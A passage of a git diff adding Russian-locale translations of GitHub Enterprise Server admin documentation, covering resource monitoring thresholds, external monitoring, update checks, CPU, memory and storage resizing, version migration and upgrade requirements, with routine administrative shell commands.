over-allocating storage resources to allow for growth and prevent the downtime required to allocate additional storage. + +## Monitoring CPU and load average usage + +Although it is normal for CPU usage to fluctuate based on resource-intense Git operations, we recommend configuring an alert for abnormally high CPU utilization, as prolonged spikes can mean your instance is under-provisioned. We recommend monitoring the fifteen-minute system load average for values nearing or exceeding the number of CPU cores allocated to the virtual machine. + +| Severity | Threshold | +| -------- | --------- | +| **Warning** | Fifteen minute load average exceeds 1x CPU cores | +| **Critical** | Fifteen minute load average exceeds 2x CPU cores | + +We also recommend that you monitor virtualization "steal" time to ensure that other virtual machines running on the same host system are not using all of the instance's resources. + +## Monitoring memory usage + +The amount of physical memory allocated to {% data variables.location.product_location %} can have a large impact on overall performance and application responsiveness. The system is designed to make heavy use of the kernel disk cache to speed up Git operations. We recommend that the normal RSS working set fit within 50% of total available RAM at peak usage. + +| Severity | Threshold | +| -------- | --------- | +| **Warning** | Sustained RSS usage exceeds 50% of total available memory | +| **Critical** | Sustained RSS usage exceeds 70% of total available memory | + +If memory is exhausted, the kernel OOM killer will attempt to free memory resources by forcibly killing RAM heavy application processes, which could result in a disruption of service. We recommend allocating more memory to the virtual machine than is required in the normal course of operations. diff --git a/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring.md b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring.md new file mode 100644 index 000000000000..17334df5ff6a --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring.md @@ -0,0 +1,32 @@ +--- +title: Настройка внешнего мониторинга +intro: 'Базовые системные ресурсы можно отслеживать на устройстве {% data variables.product.prodname_ghe_server %} с помощью протокола SNMP или протоколов сбора статистики.' +redirect_from: + - /enterprise/admin/installation/setting-up-external-monitoring + - /enterprise/admin/enterprise-management/setting-up-external-monitoring + - /admin/enterprise-management/setting-up-external-monitoring +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Infrastructure + - Monitoring + - Performance +shortTitle: Set up external monitoring +ms.openlocfilehash: 43fa6a7b0d6d4686a69460f23f38126ec5457613 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146332475' +--- +## Сведения о протоколе SNMP + +Протокол SNMP широко применяется для мониторинга сетевых устройств и серверов. По умолчанию протокол SNMP отключен, но при необходимости его можно настроить с помощью панели мониторинга {% data variables.product.prodname_enterprise %}. При этом должен быть открыт и доступен со станции управления сетью UDP-порт 161. Дополнительные сведения см. в статье [Мониторинг с использованием протокола SNMP](/enterprise/admin/guides/installation/monitoring-using-snmp/). + +## Сведения об управляющей программе collectd + +collectd — это управляющая программа с открытым исходным кодом, которая обеспечивает сбор статистики, подготовку отчетов и встроенную поддержку записи в RRD-файлы. Статистика по загрузке ЦП, использованию памяти и диска, трафику и ошибкам сетевого интерфейса, а также загрузке системы может перенаправляться на внешний сервер collectd, на котором можно настроить различные графики, функции анализа и оповещения с использованием широкого спектра доступных средств и подключаемых модулей. Сведения о настройке перенаправления для `collectd` см.в разделе [Настройка collectd](/enterprise/admin/guides/installation/configuring-collectd/). + +Кроме того, поддерживается использование встроенных средств мониторинга базовых платформ виртуализации, которые реализуют основные функции мониторинга и оповещения для системных ресурсов. Дополнительные сведения см. в документации по [Amazon CloudWatch](http://aws.amazon.com/cloudwatch/) и [средствам мониторинга VMware vSphere](http://pubs.vmware.com/vsphere-50/topic/com.vmware.ICbase/PDF/vsphere-esxi-vcenter-server-50-monitoring-performance-guide.pdf). diff --git a/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md new file mode 100644 index 000000000000..645c35410775 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/enabling-automatic-update-checks.md @@ -0,0 +1,39 @@ +--- +title: Enabling automatic update checks +intro: 'You can enable automatic update checks so that {% data variables.location.product_location %} checks for and downloads the latest {% data variables.product.prodname_ghe_server %} release.' +redirect_from: + - /enterprise/admin/installation/enabling-automatic-update-checks + - /enterprise/admin/enterprise-management/enabling-automatic-update-checks + - /admin/enterprise-management/enabling-automatic-update-checks +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Upgrades +shortTitle: Enable automatic update checks +--- +When an upgrade package is automatically downloaded for {% data variables.location.product_location %}, you'll receive a message letting you know you can upgrade {% data variables.product.prodname_ghe_server %}. Packages download to the `/var/lib/ghe-updates` directory on {% data variables.location.product_location %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server)." + +If a hotpatch is available for an upgrade, the `.hpkg` will download automatically. In the management console you can choose to install the hotpatch immediately or schedule installation for a later time. For more information, see "[Upgrading with a hotpatch](/enterprise/admin/guides/installation/upgrading-github-enterprise-server#upgrading-with-a-hotpatch)." + +{% tip %} + +**Tip:** To enable automatic update checks, {% data variables.location.product_location %} must be able to connect to `https://github-enterprise.s3.amazonaws.com`. + +{% endtip %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.updates-tab %} +4. Click **Yes, automatically check for updates**. +![Button for enabling automatic updates](/assets/images/enterprise/management-console/enable_updates_button.png) +{% data reusables.enterprise_management_console.save-settings %} + +To see if your instance is up-to-date, check the banner on the Updates tab. + +![Banner indicating your release of GitHub Enterprise Server](/assets/images/enterprise/management-console/up-to-date-banner.png) + +Under **Logs**, you can see the status of the most recent update check. + +![Logs for update](/assets/images/enterprise/management-console/update-log.png) diff --git a/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md new file mode 100644 index 000000000000..884c2a3d88c3 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md @@ -0,0 +1,111 @@ +--- +title: Increasing CPU or memory resources +intro: 'You can increase the CPU or memory resources for a {% data variables.product.prodname_ghe_server %} instance.' +redirect_from: + - /enterprise/admin/installation/increasing-cpu-or-memory-resources + - /enterprise/admin/enterprise-management/increasing-cpu-or-memory-resources + - /admin/enterprise-management/increasing-cpu-or-memory-resources +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Infrastructure + - Performance +shortTitle: Increase CPU or memory +--- +{% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} + +{% note %} + +**Note:** Before increasing CPU or memory resources, put your instance in maintenance mode.{% ifversion ip-exception-list %} You can validate changes by configuring an IP exception list to allow access from specified IP addresses. {% endif %} For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." + +{% endnote %} + +## Adding CPU or memory resources for AWS + +{% note %} + +**Note:** To add CPU or memory resources for AWS, you must be familiar with using either the AWS management console or the `aws ec2` command line interface to manage EC2 instances. For background and details on using the AWS tools of your choice to perform the resize, see the AWS documentation on [resizing an Amazon EBS-backed instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html). + +{% endnote %} + +### Resizing considerations + +Before increasing CPU or memory resources for {% data variables.location.product_location %}, review the following recommendations. + +- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} +- **Assign an Elastic IP address to the instance**. If you haven't assigned an Elastic IP to your instance, you'll have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in public IP address. Once your instance restarts, the instance keeps the Elastic IP if you launched the instance in a virtual private cloud (VPC). If you create the instance in an EC2-Classic network, you must manually reassign the Elastic IP to the instance. + +### Supported AWS instance types + +You need to determine the instance type you would like to upgrade to based on CPU/memory specifications. + +{% data reusables.enterprise_installation.warning-on-scaling %} + +{% data reusables.enterprise_installation.aws-instance-recommendation %} + +### Resizing for AWS + +{% note %} + +**Note:** For instances launched in EC2-Classic, write down both the Elastic IP address associated with the instance and the instance's ID. Once you restart the instance, re-associate the Elastic IP address. + +{% endnote %} + +It's not possible to add CPU or memory resources to an existing AWS/EC2 instance. Instead, you must: + +1. Stop the instance. +2. Change the instance type. +3. Start the instance. +{% data reusables.enterprise_installation.configuration-recognized %} + +## Adding CPU or memory resources on Microsoft Azure + +{% note %} + +**Note:** To add CPU or memory resources in Microsoft Azure, you must be familiar with using either the Azure Portal, Azure CLI or Azure PowerShell to manage VM instances. For background and details on using the Azure tools of your choice to perform the resize, please refer to the Azure documentation on [changing the size of a virtual machine](https://docs.microsoft.com/en-us/azure/virtual-machines/resize-vm). + +{% endnote %} + +### Resizing considerations + +Before increasing CPU or memory resources for {% data variables.location.product_location %}, review the following recommendations. + +- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} +- **Assign a static IP address to the instance**. If you haven't assigned a static IP to your instance, you might have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in IP address. + +### Supported Microsoft Azure instance sizes + +You need to determine the instance size you would like to upgrade to based on CPU/memory specifications. + +{% data reusables.enterprise_installation.warning-on-scaling %} + +{% data reusables.enterprise_installation.azure-instance-recommendation %} + +### Resizing for Microsoft Azure + +You can scale the VM up by changing the VM size. Changing its size will cause it to be restarted. In some cases, you must deallocate the VM first. This can happen if the new size is not available on the hardware cluster that is currently hosting the VM. + +1. Refer to the Azure documentation on [changing the size of a virtual machine](https://docs.microsoft.com/en-us/azure/virtual-machines/resize-vm) for the required steps. +{% data reusables.enterprise_installation.configuration-recognized %} + +## Adding CPU or memory resources for OpenStack KVM + +It's not possible to add CPU or memory resources to an existing OpenStack KVM instance. Instead, you must: + +1. Take a snapshot of the current instance. +2. Stop the instance. +3. Select a new instance flavor that has the desired CPU and/or memory resources. + +## Adding CPU or memory resources for VMware + +{% data reusables.enterprise_installation.increasing-cpus-req %} + +1. Use the vSphere Client to connect to the VMware ESXi host. +2. Shut down {% data variables.location.product_location %}. +3. Select the virtual machine and click **Edit Settings**. +4. Under "Hardware", adjust the CPU and/or memory resources allocated to the virtual machine as needed: +![VMware setup resources](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) +5. To start the virtual machine, click **OK**. +{% data reusables.enterprise_installation.configuration-recognized %} diff --git a/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md new file mode 100644 index 000000000000..e55e7cb44df0 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md @@ -0,0 +1,93 @@ +--- +title: Increasing storage capacity +intro: 'You can increase or change the amount of storage available for Git repositories, databases, search indexes, and other persistent application data.' +redirect_from: + - /enterprise/admin/installation/increasing-storage-capacity + - /enterprise/admin/enterprise-management/increasing-storage-capacity + - /admin/enterprise-management/increasing-storage-capacity +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Infrastructure + - Performance + - Storage +shortTitle: Increase storage capacity +--- +{% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} + +As more users join {% data variables.location.product_location %}, you may need to resize your storage volume. Refer to the documentation for your virtualization platform for information on resizing storage. + +## Requirements and recommendations + +{% note %} + +**Note:** Before resizing any storage volume, put your instance in maintenance mode.{% ifversion ip-exception-list %} You can validate changes by configuring an IP exception list to allow access from specified IP addresses. {% endif %} For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." + +{% endnote %} + +### Minimum requirements + +{% data reusables.enterprise_installation.hardware-rec-table %} + +## Increasing the data partition size + +1. Resize the existing user volume disk using your virtualization platform's tools. +{% data reusables.enterprise_installation.ssh-into-instance %} +3. Put the appliance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." +4. Reboot the appliance to detect the new storage allocation: + ```shell + $ sudo reboot + ``` +5. Run the `ghe-storage-extend` command to expand the `/data/user` filesystem: + ```shell + $ ghe-storage-extend + ``` + +## Increasing the root partition size using a new appliance + +1. Set up a new {% data variables.product.prodname_ghe_server %} instance with a larger root disk using the same version as your current appliance. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance)." +2. Shut down the current appliance: + ```shell + $ sudo poweroff + ``` +3. Detach the data disk from the current appliance using your virtualization platform's tools. +4. Attach the data disk to the new appliance with the larger root disk. + +## Increasing the root partition size using an existing appliance + +{% warning %} + +**Warning:** Before increasing the root partition size, you must put your instance in maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." + +{% endwarning %} + +1. Attach a new disk to your {% data variables.product.prodname_ghe_server %} appliance. +1. Run the `lsblk` command to identify the new disk's device name. +1. Run the `parted` command to format the disk, substituting your device name for `/dev/xvdg`: + ```shell + $ sudo parted /dev/xvdg mklabel msdos + $ sudo parted /dev/xvdg mkpart primary ext4 0% 50% + $ sudo parted /dev/xvdg mkpart primary ext4 50% 100% + ``` +1. To stop replication, run the `ghe-repl-stop` command. + + ```shell + $ ghe-repl-stop + ``` + +1. Run the `ghe-upgrade` command to install a full, platform specific package to the newly partitioned disk. A universal hotpatch upgrade package, such as `github-enterprise-2.11.9.hpkg`, will not work as expected. After the `ghe-upgrade` command completes, application services will automatically terminate. + + ```shell + $ ghe-upgrade PACKAGE-NAME.pkg -s -t /dev/xvdg1 + ``` +1. Shut down the appliance: + ```shell + $ sudo poweroff + ``` +1. In the hypervisor, remove the old root disk and attach the new root disk at the same location as the old root disk. +1. Start the appliance. +1. Ensure system services are functioning correctly, then release maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." + +If your appliance is configured for high-availability or geo-replication, remember to start replication on each replica node using `ghe-repl-start` after the storage on all nodes has been upgraded. diff --git a/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md new file mode 100644 index 000000000000..eb068bd07c1d --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md @@ -0,0 +1,28 @@ +--- +title: Обновление виртуальной машины и физических ресурсов +intro: 'Для обновления виртуального программного обеспечения и виртуального оборудования требуется некоторое время простоя экземпляра, поэтому не забудьте заранее запланировать обновление.' +redirect_from: + - /enterprise/admin/guides/installation/upgrading-the-vm + - /enterprise/admin/guides/installation/upgrading-physical-resources + - /enterprise/admin/installation/updating-the-virtual-machine-and-physical-resources + - /enterprise/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources +versions: + ghes: '*' +topics: + - Enterprise +children: + - /upgrade-requirements + - /upgrading-github-enterprise-server + - /enabling-automatic-update-checks + - /increasing-storage-capacity + - /increasing-cpu-or-memory-resources + - /migrating-from-github-enterprise-1110x-to-2123 +shortTitle: Update VM & resources +ms.openlocfilehash: c88f08eea01e187c22dfd1e423c93965fbdc2709 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066317' +--- + diff --git a/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md new file mode 100644 index 000000000000..db451db86537 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md @@ -0,0 +1,108 @@ +--- +title: "Переход с GitHub Enterprise\_11.10.x на версию\_2.1.23" +redirect_from: + - /enterprise/admin/installation/migrating-from-github-enterprise-1110x-to-2123 + - /enterprise/admin-guide/migrating + - /enterprise/admin/articles/migrating-github-enterprise + - /enterprise/admin/guides/installation/migrating-from-github-enterprise-v11-10-34x + - /enterprise/admin/articles/upgrading-to-a-newer-release + - /enterprise/admin/guides/installation/migrating-to-a-different-platform-or-from-github-enterprise-11-10-34x + - /enterprise/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23 + - /enterprise/admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123 + - /admin/enterprise-management/migrating-from-github-enterprise-1110x-to-2123 +intro: "Чтобы перейти с {% data variables.product.prodname_enterprise %}\_11.10.x на 2.1.23, необходимо настроить новый экземпляр устройства и перенести данные из предыдущего экземпляра." +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Migration + - Upgrades +shortTitle: Migrate from 11.10.x to 2.1.23 +ms.openlocfilehash: 4dcd93b41d8edc75388d34785c4c149d6627cc5e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146332603' +--- +Поддерживается переход из {% data variables.product.prodname_enterprise %} версии 11.10.348 и более поздних версий. Переход из {% data variables.product.prodname_enterprise %} версии 11.10.348 и более ранних версий не поддерживается. Сначала необходимо выполнить обновление до версии 11.10.348 в нескольких обновлениях. Дополнительные сведения см. в разделе статьи о процедуре обновления до версии 11.10.348 [Обновление до последнего выпуска](/enterprise/11.10.340/admin/articles/upgrading-to-the-latest-release/). + +Чтобы выполнить обновление до последней версии {% data variables.product.prodname_enterprise %}, необходимо сначала перейти на {% data variables.product.prodname_ghe_server %} версии 2.1, а затем выполнить обычное обновление. Дополнительные сведения см. в статье [Обновление {% data variables.product.prodname_enterprise %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/). + +## Подготовка к миграции + +1. Еще раз изучите руководство по подготовке и установке и убедитесь, что выполнены все условия для подготовки и настройки {% data variables.product.prodname_enterprise %} версии 2.1.23 в вашей среде. Дополнительные сведения см. в разделе [Подготовка и установка](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/). +2. Убедитесь, что текущий экземпляр выполняет поддерживаемую версию обновления. +3. Настройте последнюю версию {% data variables.product.prodname_enterprise_backup_utilities %}. Дополнительные сведения см. в [{% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils). + - Если вы уже настроили запланированные резервные копии с помощью {% data variables.product.prodname_enterprise_backup_utilities %}, убедитесь, что выполнено обновление до последней версии. + - Если сейчас вы не выполняете запланированные резервные копии, настройте {% data variables.product.prodname_enterprise_backup_utilities %}. +4. Создайте моментальный снимок полной резервной копии текущего экземпляра с помощью команды `ghe-backup`. Если вы уже настроили запланированные резервные копии для текущего экземпляра, моментальный снимок экземпляра создавать не нужно. + + {% tip %} + + **Совет.** Экземпляр можно оставить в сети и активно использовать во время создания моментального снимка. Во время обслуживания миграции вы создадите еще один моментальный снимок. Так как резервные копии являются добавочными, этот исходный моментальный снимок уменьшает объем данных, передаваемых в окончательном моментальном снимке, что может сократить период обслуживания. + + {% endtip %} + +5. Определите метод переключения трафика пользователя на новый экземпляр. После миграции весь трафик HTTP и Git направляется в новый экземпляр. + - **DNS**. Мы рекомендуем этот метод для всех сред, так как он прост в использовании и хорошо работает даже при миграции из одного центра обработки данных в другой. Перед началом миграции сократите срок жизни существующей записи DNS до пяти минут или меньше и разрешите распространение изменений. После завершения миграции обновите записи DNS, чтобы указать IP-адрес нового экземпляра. + - **Назначение IP-адресов**. Этот метод доступен только при миграции VMware в VMware и не рекомендуется к использованию, если метод DNS недоступен. Перед началом миграции необходимо завершить работу старого экземпляра и назначить его IP-адрес новому экземпляру. +6. Запланируйте период обслуживания. Период обслуживания должен включать достаточно времени для передачи данных из узла резервной копии в новый экземпляр и будет зависеть от размера моментального снимка резервной копии и доступной пропускной способности сети. В течение этого времени текущий экземпляр будет недоступен, а во время миграции на новый экземпляр будет находиться в режиме обслуживания. + +## Выполнение миграции + +1. Подготовьте новый экземпляр {% data variables.product.prodname_enterprise %} версии 2.1. Дополнительные сведения см. в руководстве [Подготовка и установка](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/) для целевой платформы. +2. В браузере перейдите к IP-адресу нового устройства реплики и отправьте лицензию {% data variables.product.prodname_enterprise %}. +3. Установите пароль администратора. +5. Нажмите **Мигрировать**. +![Выбор типа установки](/assets/images/enterprise/migration/migration-choose-install-type.png) +6. Вставьте ключ SSH для доступа к узлу резервной копии в раздел "Добавить новый ключ SSH". +![Авторизация резервного копирования](/assets/images/enterprise/migration/migration-authorize-backup-host.png) +7. Нажмите **Добавить ключ**, а затем — **Продолжить**. +8. Скопируйте команду `ghe-restore`, которую вы будете выполнять на узле резервной копии, чтобы перенести данные в новый экземпляр. +![Запуск миграции](/assets/images/enterprise/migration/migration-restore-start.png) +9. Включите режим обслуживания на старом экземпляре и дождитесь завершения всех активных процессов. Дополнительные сведения см. в разделе [Включение и планирование режима обслуживания](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode). + + {% note %} + + **Примечание.** С этого момента экземпляр будет недоступен для обычного использования. + + {% endnote %} + +10. На узле резервной копии выполните команду `ghe-backup`, чтобы создать окончательный моментальный снимок резервной копии. Это гарантирует, что все данные из старого экземпляра будут записаны. +11. На узле резервной копии выполните команду `ghe-restore`, скопированную на экране состояния восстановления нового экземпляра, чтобы восстановить последний моментальный снимок. + ```shell + $ ghe-restore 169.254.1.1 + The authenticity of host '169.254.1.1:122' can't be established. + RSA key fingerprint is fe:96:9e:ac:d0:22:7c:cf:22:68:f2:c3:c9:81:53:d1. + Are you sure you want to continue connecting (yes/no)? yes + Connect 169.254.1.1:122 OK (v2.0.0) + Starting restore of 169.254.1.1:122 from snapshot 20141014T141425 + Restoring Git repositories ... + Restoring GitHub Pages ... + Restoring asset attachments ... + Restoring hook deliveries ... + Restoring MySQL database ... + Restoring Redis database ... + Restoring SSH authorized keys ... + Restoring Elasticsearch indices ... + Restoring SSH host keys ... + Completed restore of 169.254.1.1:122 from snapshot 20141014T141425 + Visit https://169.254.1.1/setup/settings to review appliance configuration. + ``` + +12. Вернитесь на экран состояния восстановления нового экземпляра, чтобы проверить, завершено ли восстановление. +![Экран завершения восстановления](/assets/images/enterprise/migration/migration-status-complete.png) +13. Щелкните **Перейти к параметрам**, чтобы проверить и настроить сведения о конфигурации и параметры, импортированные из предыдущего экземпляра. +![Проверка импортированных параметров](/assets/images/enterprise/migration/migration-status-complete.png) +14. Нажмите кнопку **Сохранить параметры**. + + {% note %} + + **Примечание.** Новый экземпляр можно использовать после применения параметров конфигурации и перезапуска сервера. + + {% endnote %} + +15. Переключите трафик пользователя из старого экземпляра на новый с помощью назначения DNS или IP-адреса. +16. Выполните обновление до последнего выпуска исправлений {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе [Обновление {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/). diff --git a/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md new file mode 100644 index 000000000000..6fdc75981f19 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -0,0 +1,58 @@ +--- +title: Требования к обновлению +intro: 'Перед обновлением {% data variables.product.prodname_ghe_server %} ознакомьтесь с этими рекомендациями и требованиями, чтобы спланировать стратегию обновления.' +redirect_from: + - /enterprise/admin/installation/upgrade-requirements + - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release + - /enterprise/admin/enterprise-management/upgrade-requirements + - /admin/enterprise-management/upgrade-requirements + - /enterprise/admin/guides/installation/about-upgrade-requirements +versions: + ghes: '*' +type: reference +topics: + - Enterprise + - Upgrades +ms.openlocfilehash: 23ac63dd30c11f4c29cd17313a583579d2e2cea1 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106880' +--- +{% note %} + +**Примечания.** +- Пакеты обновления доступны в [enterprise.github.com](https://enterprise.github.com/releases) для поддерживаемых версий. Убедитесь в доступности пакетов обновления, которые вам потребуются для обновления. Если пакет недоступен, обратитесь к {% data variables.contact.contact_ent_support %} для получения помощи. +- Если вы используете кластеризацию {% data variables.product.prodname_ghe_server %}, см. раздел [Обновление кластера](/enterprise/admin/guides/clustering/upgrading-a-cluster/) в руководстве по кластеризации {% data variables.product.prodname_ghe_server %}, где приведены конкретные инструкции по кластеризации. +- Заметки о выпуске для {% data variables.product.prodname_ghe_server %} предоставляют полный список новых возможностей для каждой версии {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. на [страницах, посвященных выпускам](https://enterprise.github.com/releases). + +{% endnote %} + +## Рекомендации + +- Включите как можно меньше обновлений в процесс обновления. Например, вместо обновления версии {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} до {{ enterpriseServerReleases.supported[1] }} до {{ enterpriseServerReleases.latest }}, можно выполнить обновление версии {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} до {{ enterpriseServerReleases.latest }}. Используйте [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade), чтобы найти путь обновления текущей версии. +- Если у вас несколько версий, обновите {% data variables.location.product_location %} как можно дальше с каждым этапом процесса обновления. Использование самой актуальной версии в каждом обновлении позволяет использовать преимущества повышенной производительности и исправления ошибок. Например, можно выполнить обновление с {% data variables.product.prodname_enterprise %} 2.7 до 2.8 и 2.10, однако для обновления с {% data variables.product.prodname_enterprise %} 2.7 до 2.9 и 2.10 на втором этапе используется более поздняя версия. +- При обновлении используйте последний выпуск исправлений. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} +- Используйте промежуточный экземпляр для проверки шагов обновления. Дополнительные сведения см. в разделе [Настройка экземпляра промежуточного процесса](/enterprise/admin/guides/installation/setting-up-a-staging-instance/). +- При запуске нескольких обновлений подождите по крайней мере 24 часа между обновлениями компонентов, чтобы обеспечить полноценное выполнение миграции данных и задач обновления в фоновом режиме. +- Создайте моментальный снимок перед обновлением виртуальной машины. Дополнительные сведения см. в разделе [Создание моментального снимка](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot). +- Убедитесь, что у вас есть последняя успешная резервная копия экземпляра. Дополнительные сведения см. в [файле README.md {% data variables.product.prodname_enterprise_backup_utilities %}](https://github.com/github/backup-utils#readme). + +## Требования + +- Необходимо выполнить обновление выпуска, версия которого отстает **не более**, чем на две версии. Например, для обновления до версии {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, требуется установленная версия {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} или {{ enterpriseServerReleases.supported[2] }}. +- При обновлении с помощью пакета обновления запланируйте период обслуживания для пользователей {% data variables.product.prodname_ghe_server %}. +- {% data reusables.enterprise_installation.hotpatching-explanation %} +- Для горячего исправления может потребоваться время простоя, если затрагиваемые службы (например, ядро, MySQL или Elasticsearch) требуют перезагрузки виртуальной машины или перезапуска службы. Вы получите уведомление о необходимости перезагрузки или перезапуска. Вы можете выполнить перезагрузку или перезапуск позднее. +- Дополнительное корневое хранилище должно быть доступно при обновлении посредством горячего исправления, так как при этом до завершения обновления будет установлено несколько версий определенных служб. По результатам предварительной проверки вы получите уведомление в случае, если у вас недостаточно пространства корневого дискового хранилища. +- При обновлении посредством горячего исправления экземпляр нельзя слишком загружать, так как это может повлиять на процесс горячего исправления. +- В процессе обновления до версии {% data variables.product.prodname_ghe_server %} 2.17 выполняется миграция журналов аудита из Elasticsearch в MySQL. Эта миграция также увеличивает время и место на диске, необходимое для восстановления моментального снимка. Перед миграцией проверьте число байтов в индексах журнала аудита Elasticsearch с помощью следующей команды: +``` shell +curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes +``` +Используйте это число для оценки объема дискового пространства, необходимого для журналов аудита MySQL. Скрипт также отслеживает свободное место на диске в процессе импорта. Отслеживать это число особенно полезно, если свободное место на диске близко к объему дискового пространства, необходимого для миграции. + +## Дальнейшие действия + +После просмотра этих рекомендаций и требований можно обновить {% data variables.product.prodname_ghe_server %}. Дополнительные сведения см. в разделе [Обновление {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/). diff --git a/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md new file mode 100644 index 000000000000..58c6be3da83e --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md @@ -0,0 +1,262 @@ +--- +title: Upgrading GitHub Enterprise Server +intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.' +redirect_from: + - /enterprise/admin/installation/upgrading-github-enterprise-server + - /enterprise/admin/articles/upgrading-to-the-latest-release + - /enterprise/admin/articles/migrations-and-upgrades + - 